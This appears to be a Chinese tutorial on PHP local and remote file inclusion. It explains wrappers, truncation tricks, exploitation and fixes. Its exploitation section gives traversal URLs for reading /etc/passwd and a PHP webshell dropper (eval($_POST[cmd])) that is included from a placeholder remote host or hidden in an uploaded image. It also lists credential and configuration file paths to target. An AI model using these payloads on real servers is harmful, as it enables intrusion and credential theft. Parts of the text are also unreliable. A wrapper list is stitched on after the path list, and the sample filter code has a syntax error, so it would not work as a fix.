文件包含漏洞原理&利用
一、原理和危害(主要原因是过滤不严)
文件包含漏洞:即 file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(), require()和include_once(), requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞:
(1)本地文件包含漏洞
当被包含的文件在服务器本太低时,就形成的本地文件包含漏洞。
%00截断
http://xxx/1.php?filename=../../../../../../boot.ini
条件:magic_quotes_goc=off 且 PHP版本<5.3.4
路径长度截断
条件: windows OS,点号需要长于256; linux OS长于4096
(1)Windows下目录最大长度为256字节,超出的部分会被丢弃。
(2)Linux下目录最大长度为4096字节,超出的部分会被丢弃。
PHP伪协议
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册自定义的封装协议。
常见的php伪协议有:
| 协议 | 用途 |
|---|---|
| file:// | 访问本地文件系统 |
| http:// | 访问HTTP(s)网址 |
| ftp:// | 访问FTP(s)URLs |
| php:// | 访问各个输入/输出流(I/Ostreams) |
| php://stdin | 代表标准输入流。 |
| php://stdout | 代表标准输出流。 |
| php://stderr | 代表标准错误流。 |
| php://input | 代表HTTP请求正文的输入流。 |
| php://output | 代表访问客户端的输出流。 |
| php://memory | 代表可读写的内存流。 |
| php://temp | 代表可读写的临时流。 |
| php://filter | 代表用于过滤数据的流、通常与过滤器函数一起使用。 |
(2)远程文件包含漏洞
本地文件包含(LFI)和远程文件包含(RFI)的漏洞原理类似,都是由于对用户输入的文件路径未进行严格校验,从而允许攻击者利用文件包含功能加载未经授权的文件。
当 PHP 配置中的选项 allow_url_fopen 和 allow_url_include 被设置为 ON 时,PHP 可以将远程服务器上的文件作为输入资源处理,这可能导致远程文件包含漏洞(RFI)。
二、文件包含函数(PHP)
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
三、漏洞利用
读取敏感文件
访问URL: http://xxxx/index.php?page=/etc/passwd 如果目标主机文件存在,并千且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于:open_basedir restriction in effect的警告。
远程包含shell
(1)如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如: http://xxx/echo.txt
(2)代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[cmd]); ?>");?>
访问:http://xx/index.php?page=http://xxx/echo.txt 。将会在index.php所在的目录下生成shell.php,内容达:<?php eval($_POST[cmd]);?>
本地包含配合文件上传
(1)假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
(2)图片代码如下: <?php fputs(fopen("shell.php" ,"w"),"<?php eval($_POST[cmd]); ?>");?>
(3)访问URL: http://xxx/index.php?page=./uplo:adfile/xxx.jpg, 包含这张图片,将会在index.php所在的目录下生成shell.php。
四、漏洞修复
1、严格检查变量是否已经初始化。
2、建议假定所有输入都是可疑的,尝试对所有输入可能包含的文件地址,包括服务器本地文件以及远程文件,进行严格的检查,参数中不允许出现.../之类的目录跳转符。
3、严格检查include内的文件包含函数中的参数是否外界可控。不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务器端进行。
4、在发布应用程序之前测试所有已知的威胁。
5、关闭php.ini的allow_url_fopen、allow_url_include。
修复代码
完全过滤
<?php
$allowedFiles = array("include.php", "file1.php", "file2.php", "file3.php");
$file = $_GET['page'];
if (!in_array($file, $allowedFiles)) {
echo "ERROR: File not found!";
exit;
}
?>
部分过滤
<?php
$file = $_GET['page'];
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\), "", $file);
?>
五、敏感路径
Windows系统
c:\boot.ini //查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml //lIS配置文件
c:\windows\repair\sam //存储Windows系统初次安装的密码
c:\ProgramFiles\mysqImy.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
c:\windows\php.ini //php 配置信息
Linux/Unix系统
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
5、zlib:// # 压缩流
6、data:// # 数据(RFC 2397)
7、glob:// # 查找匹配的文件路径模式
8、phar:// # PHP归档
9、ssh2:// # Secure Shell 2
10、rar:// # RAR
11、ogg:// # 音频流
12、expect:// # 处理交互式的流

浙公网安备 33010602011771号